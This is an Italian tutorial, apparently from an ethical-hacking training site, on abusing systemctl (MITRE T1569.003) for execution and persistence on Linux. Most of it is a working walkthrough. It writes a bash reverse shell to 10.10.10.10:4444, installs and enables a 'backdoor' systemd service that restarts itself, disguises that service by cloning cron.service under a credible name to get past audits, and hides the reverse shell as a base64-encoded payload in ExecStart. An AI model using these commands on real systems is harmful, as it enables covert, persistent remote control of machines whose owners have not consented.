Controllo dei Servizi Linux: System Services - Systemctl (T1569.003)
L'abuso di systemctl rappresenta una tecnica sofisticata per ottenere l'esecuzione di codice malevolo sui sistemi Linux attraverso la manipolazione del sistema di gestione dei servizi. Questo strumento, interfaccia primaria per systemd, controlla l'avvio e l'arresto dei servizi di sistema e può essere sfruttato per garantire persistenza ed esecuzione privilegiata.
La tecnica si colloca nella tattica TA0002 (Execution), dove l'obiettivo è eseguire codice controllato dall'attaccante sul sistema target. Spesso viene combinata con altre tecniche per esplorare la rete o esfiltrare dati sensibili.
TeamTNT, gruppo specializzato in cryptojacking, ha dimostrato l'efficacia di questo approccio creando servizi di sistema dedicati al mining di criptovalute. L'impatto è significativo: con 1 gruppo APT documentato e 1 strategia di mitigazione specifica, questa tecnica richiede attenzione particolare nella difesa delle infrastrutture Linux.
Il test di questa tecnica richiede la creazione di un servizio systemd malevolo. Iniziamo creando un file di servizio in una posizione non standard per evitare detection immediate.
Creiamo prima il nostro payload. Un approccio comune è utilizzare uno script bash che stabilisce una reverse shell:
echo '#!/bin/bash' > /tmp/backdoor.sh echo 'bash -i >& /dev/tcp/10.10.10.10/4444 0>&1' >> /tmp/backdoor.sh chmod +x /tmp/backdoor.sh
Ora costruiamo il file di servizio systemd. La scelta della directory è cruciale - /tmp è spesso utilizzata dagli attaccanti ma facilmente monitorata:
cat > /tmp/backdoor.service << EOF
[Unit]
Description=System Maintenance Service
After=network.target
[Service]
Type=simple
ExecStart=/tmp/backdoor.sh
Restart=always
RestartSec=30
[Install]
WantedBy=multi-user.target
EOF
Per caricare il servizio dobbiamo copiarlo nella directory systemd e attivarlo:
sudo cp /tmp/backdoor.service /etc/systemd/system/ sudo systemctl daemon-reload sudo systemctl enable backdoor.service sudo systemctl start backdoor.service
Un approccio più sofisticato prevede il mascheramento del servizio. Possiamo clonare un servizio legittimo e modificarlo:
sudo cp /lib/systemd/system/cron.service /etc/systemd/system/system-update.service
Modifichiamo poi ExecStart per puntare al nostro payload. La chiave è mantenere nomi e descrizioni credibili per evitare sospetti durante audit superficiali.
Per testare la persistenza, verifichiamo che il servizio si riavvii automaticamente: sudo systemctl status system-update.service
Gli attaccanti spesso utilizzano tecniche di offuscazione aggiuntive. Un metodo efficace è incorporare il payload direttamente nel file di servizio usando base64:
ExecStart=/bin/bash -c "echo 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xMC4xMC80NDQ0IDA+JjE=' | base64 -d | bash"
Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?
Scarica la guida gratuita e segui il percorso corretto fin dal primo passo